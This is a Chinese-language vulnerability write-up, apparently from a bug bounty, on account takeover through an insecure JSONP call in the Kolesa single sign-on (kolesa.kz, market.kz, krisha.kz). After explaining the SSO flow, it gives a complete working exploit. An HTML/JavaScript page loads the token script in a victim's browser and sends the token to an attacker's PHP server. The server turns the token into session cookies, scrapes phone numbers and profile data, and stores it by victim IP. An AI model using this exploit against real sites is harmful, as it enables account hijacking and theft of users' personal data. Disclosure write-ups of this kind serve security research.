说明
这篇文章的内容是,我怎样使用单点登录(Single Sign-On),实现了接管Kolesa网站的任意帐户。
大概的漏洞逻辑:不安全的JSONP调用会破坏整个SSO机制的安全性。
JSONP的定义
JSONP是一种将JSON数据发送到其他域的方法。
- 特点
- 可以加载外部JavaScript对象
- 不使用XMLHttpRequest对象
- 不太安全
- 在浏览器中绕过SOP
JSONP请求/响应示例:
单点登录简介
单点登录(Single Sign-On)
信息搜集
信息收集后发现,Kolesa网站使用了SSO,使用SSO的网站是:
(1)https://market.kz
(2)https://krisha.kz
(3)https://kolesa.kz
它们的身份验证服务器都为:https://id.kolesa.kz
SSO工作流程
SSO工作流程图,如下:
在这个身份验证模型中,由于一个域不能为其他域设置authentication cookie
,所以authentication token
应在 authentication server 和 其他域 之间传输。
考虑到SSO工作流程图中的橙色框,每个站点均应在验证之后保存一个authentication token
cookie。
此外,authentication server也保存了它的cookie,因此在几个HTTP请求之后,我找到了每个Kolesa网站,和它域下的那个“身份验证cookie”的名称,对应关系如下图:
通过JSONP调用来处理SSO
JSONP调用用于进一步的身份验证。
如果用户已经登录了这三个网站中的任何一个,则将进行JSONP调用以对该用户进行身份验证。
为什么这里使用了JSONP?
因为Kolesa网站认为,执行此操作更简单,可以避免进行CORS设置。
其实由于域的来源不同,Kolesa网站应该实施CORS(Cross Origin Resource Sharing)。
但他们决定使用JSONP。
流程图:
关键是,例如,一旦某个用户登录(3)kosela.kz,他们将拥有:
一个ccid
cookie [id.kolesa.kz域]
一个用于传输身份验证的authentication token
cookie [kosela.kz域]
一个ssid
cookie [kosela.kz域]
此后,如果用户要登录网站c,只需单击一下,因为 [id.kolesa.kz域] 有authentication
cookie,因此会立即生成authentication token
,并且用户将在网站c上拥有对应的authentication cookie
。
根据上面的流程图,【阶段4】表示了:
如何进行JSONP调用.
如何将authentication token转换为某个域名下的authentication cookie.
JSONP调用的原因:
如果用户已经通过进行了身份验证id.kolesa.kz,则将收到以下响应:
HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Mon, 19 Aug 2019 16:43:26 GMT
Content-Type: text/javascript;charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Backend-Server: auth-be3.alaps.kz.prod.bash.kz
X-Bug-Bounty: Please report bugs and vulnerabilities to bugs@kolesa.kz
Content-Security-Policy: frame-ancestors 'self' http://webvisor.com https://webvisor.com
Strict-Transport-Security: max-age=31536000
Content-Length: 627
window.xdm = {
sess: {
is_authenticated: 1,
token: 'xG3ROFWcb7pnXSnMr8MkaBvH01pLlCHqn0sPt0PVL6BBWYdQPdvA31tBi6dLB5njv5jhMW3y/cGBMRB9LC/69zv867wweaDhkxX6arGVzYDy2q+J52nkOQJ+62rR9wLPYJGyEpNGWeOBSp12vugXZUPq2RA6FMptbNkGQpJFjAclXSzduj7wJJgAUONMj3mkkElM1nWmIllrl5zDEz6s7077E4ibx//BvnfZ9AIC/9b2PB+QzVKOnSzzcr9wSXqta9TEDHvjopqbUd4UE2xSMRSj/zxPQlCba5632hcIXnzZB3A8fvahvf2Hm5ssuC+cwuKU8pAdE/qcGQSJKdhpYXxntGkQiLdEAliyCq+fahS4itb6HlFH/+H20RsZA+cjyaF7ntnW5tYY31vxJXovrR3oinaj9YDSzoCZYMDYPJMdk+HuZhRuxxEl8abuNlGD0aCt2GCPV7GY0J9Ma7AcPw=='
}
};
(function ($) {
"use strict";
$.xdm = window.xdm;
}(jQuery));
可以看出,存在一个名为sess
的对象,其中包含两个属性:is_authenticated
和token
。
该对象负责传输身份验证。此时,用户拥有当前网站的authentication token
,但没有authentication cookie
,因此进行了第二次调用:
JS代码:
存在漏洞的外部JavaScript对象
问题是:
任意origin可以提取出authentication token
!
当然,这是因为JSONP调用绕过了Same Origin Policy。
利用该漏洞,只需单击一下即可接管帐户:)
漏洞利用阶段
场景很简单:
1.设置一个html页面,作用是代表任何用户调用JSONP
2.欺骗经过身份验证的用户访问我们的恶意网站
3.用户发送authentication token
到我们的网站
4.用别的用户的身份登录并做坏事
漏洞利用代码(客户端+服务器端调用):
<?php
$victim_ip_address = "";
$output="";
$phone_nums="";
// Function to send HTTP GET requests, returning [contents,location,cookies].
function http_get($URL, $cookies = "", $xhr=false)
{
global $victim_ip_address;
$xhr_header="";
if ($xhr == true) {
$xhr_header="X-Requested-With: XMLHttpRequest\r\n";
}
// Set HTTP headers, add X-Forwarded-For header to spoof IP address...
$context = stream_context_create(
array(
"http" => array(
'follow_location' => false,
"method" => "GET",
"header" => "X-Forwarded-For:$victim_ip_address\r\nCookie: $cookies\r\n$xhr_header"
)
)
);
// Process HTTP response headers...
$return_value["contents"] = file_get_contents($URL, false, $context);
array_shift($http_response_header);
$resp_cookies = [];
$return_value["location"] = $URL;
foreach ($http_response_header as $header) {
$header_pair = explode(": ", $header);
$header_name = $header_pair[0];
$header_value = $header_pair[1];
if ($header_name == "Location") {
$return_value["location"] = $header_value;
} else if ($header_name == "Set-Cookie") {
$cookie_name = explode("=", $header_value)[0];
$cookie_value = explode(";", explode("=", $header_value)[1])[0];
$resp_cookies[$cookie_name] = $cookie_value;
}
}
$return_value["cookies"] = $resp_cookies;
return $return_value;
}
// Function to extract sensitive information.
function ExtractContents($resp)
{
global $output;
$cookies = "";
$PanelURL = "";
global $phone_nums;
$PageToExtractPhoneNum="";
$phone_num_regex="";
$xhr=false;
$name = "";
foreach ($resp["cookies"] as $cookie_name => $cookie_value) { //Check cookies...
if ($cookie_name == "ssid") {
$name = "kolesa.kz";
$PanelURL = "https://kolesa.kz/my/";
$PageToExtractPhoneNum="https://kolesa.kz/my/ajax-settings-personal/";
$phone_num_regex='/phones="\[(.*)\]"/';
} else if ($cookie_name == "mtsid") {
$name = "market.kz";
$PanelURL = "https://market.kz/cabinet/";
$PageToExtractPhoneNum="https://market.kz/ajax/getVerifiedPhones.json?ignoreSession=true";
$phone_num_regex='/"phones":(.*)\]/';
} else if ($cookie_name == "krssid") {
$name = "krisha.kz";
$PanelURL = "https://krisha.kz/my/";
$PageToExtractPhoneNum="https://krisha.kz/my/ajax-get-form/?userType=1";
$phone_num_regex='/"phones" :list="\[\{(.*)\}\]"/';
$xhr=true;
}
$cookies .= $cookie_name . "=" . $cookie_value . ";";
}
if($phone_nums==""){
$contents = http_get($PageToExtractPhoneNum, $cookies,$xhr)["contents"]; // Read pages contating phone numbers and extract them.
preg_match($phone_num_regex, $contents, $phone_num_matches); // Extract phone numbers.
if (sizeof($phone_num_matches) != 0){
$phone_nums=str_replace(['"'," ","(",")",'"phones":[]','phones="[]"'],'',$phone_num_matches[0]); // Remove empty results and bad strings.
if ( $phone_nums != "") {
$output .= "User phone numbers:\n$phone_nums\n\n";
}
}
}
$output .= str_repeat("=", 10) . " $name " . str_repeat("=", 10)."\n\n";
$output .= "Authentication cookie: $cookies\n\n";
$contents = http_get($PanelURL, $cookies)["contents"]; // Set stolen cookies to access victim account, read user page contents.
preg_match('/window\.digitalData =.*\};/', $contents, $user_info_matches);//Extract sensitive information matching Regex.
if( sizeof($user_info_matches)!=0 ){
$user_info = $user_info_matches[0];
$output .= "User information:\n$user_info\n\n";
}
}
// Main Function
function Main()
{
global $victim_ip_address;
global $phone_nums;
global $output;
$victim_ip_address = $_SERVER['REMOTE_ADDR'];
if (isset($_GET['token'])) { // Authentication cookie is sent by XMLHTTPRequest.
$token = urlencode($_GET['token']);
// Send athentication token to the target websites for validation.
$market_resp = http_get("https://market.kz/user/ajax-xdm-auth/?token=" . $token);
$kolesa_resp = http_get("https://kolesa.kz/user/ajax-xdm-auth/?token=" . $token);
$krisha_resp = http_get("https://krisha.kz/user/ajax-xdm-auth/?token=" . $token);
// ExtractContents() function will processes responses for sensitive information.
// Token is valid, load and store sensitive information of the victim.
$success1=($market_resp["location"] == "/user/ajax-xdm-auth/");
$success2=($kolesa_resp["location"] == "/user/ajax-xdm-auth/");
$success3=($krisha_resp["location"] == "/user/ajax-xdm-auth/");
$success=($success1 && $success2 && $success3);
if ($success) {
$now = time();
$output_dir = "./$victim_ip_address/$now/"; // Create a directory based on IP address of the victim and current timestamp.
mkdir($output_dir, 0755, true);
ExtractContents($market_resp);
ExtractContents($kolesa_resp); // Load and extract sensitive information.
ExtractContents($krisha_resp);
file_put_contents("$output_dir/victim_info.txt",$output);//Save all information extracted to the output file.
die("success");
} else { // Token isn't valid, redirected to the login page.
die("failure");
}
}
}
Main();
?>
<html>
<body onload="Main()">
<script>
var tries_num = 0;
var max_tries = 30; // Try 30 times to avoid failure.
window.jQuery = window; // As JQuery script isn't loaded, we redefine it to avoid errors.
function Main() { // Main function.
Create_JSONP();
}
function Check(xdm) { // Function handling "xdm" object loaded by JSONP.
if (tries_num == 1) {
document.body.innerText += "+ JSONP object was loaded successfully.\n\n"
}
var is_authenticated = xdm["sess"]["is_authenticated"]; // Extract user user authentication status from xdm object.
var token = xdm["sess"]["token"]; // Extract Authentication token from xdm object.
if (is_authenticated == 1) { // User is authenticated.
if (tries_num == 1) {
document.body.innerText += "+ You are logged in.\n\n"
}
document.body.innerText += "* Sending authentication token to the server...\n"
XHR_Request("token=" + encodeURIComponent(token), Check_Server_Response) // Send authentication token to the server.
} else {
document.body.innerText += "- You are not logged in!\n"
document.body.innerText += "- Please login to one of your accounts on market.kz, kolesa.kz or krisha.kz and try again.\n"
}
}
function XHR_Request(data, callback) { // Function to send authentication tokens to the server.
var xhr = new XMLHttpRequest();
xhr.open('GET', "?" + data, true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
callback(xhr.responseText.trim())
}
}
xhr.send();
}
function Check_Server_Response(response) { // Function handling responses from the server.
if (response == "success") { // Server authenticated to the victim accounts successfully, token is valid.
document.body.innerText += "\n+ Success! Token is valid for authentication! (" + tries_num + "/" + max_tries + ")\n"
document.body.innerText += "+ Now an attacker can access your accounts on market.kz, kolesa.kz and krisha.kz!\n"
document.body.innerText += "+ Please check files created on the server for more information.\n\n"
} else { // Server failed to access victim accounts.
document.body.innerText += "- Token was invalid.Trying again...(" + tries_num + "/" + max_tries + ")\n"
Create_JSONP()
}
}
function Create_JSONP() { // Function to create and load JSONP objects.
if (tries_num == max_tries) {
document.body.innerText += "\nFailure: Could not find any valid token for authentication!";
return;
} else if (tries_num == 0) {
document.body.innerText = "* Loading JSONP object from https://id.kolesa.kz/authToken.js...\n\n"
}
tries_num += 1
// Same-Origin Policy allows current origin to load and handle cross-origin JSONP objects.
// Create and append JSONP object loading https://id.kolesa.kz/authToken.js to the document.
var JSONP = document.createElement('script');
JSONP.src = "https://id.kolesa.kz/authToken.js"
// As "xdm" object is loaded by JSONP, call Check() function to check it.
JSONP.onload = function() {
Check(window.xdm)
}
document.head.append(JSONP);
}
</script>
</body>
</html>
结尾
不安全的JSONP调用会破坏整个SSO机制的安全性,可实现任意账户接管。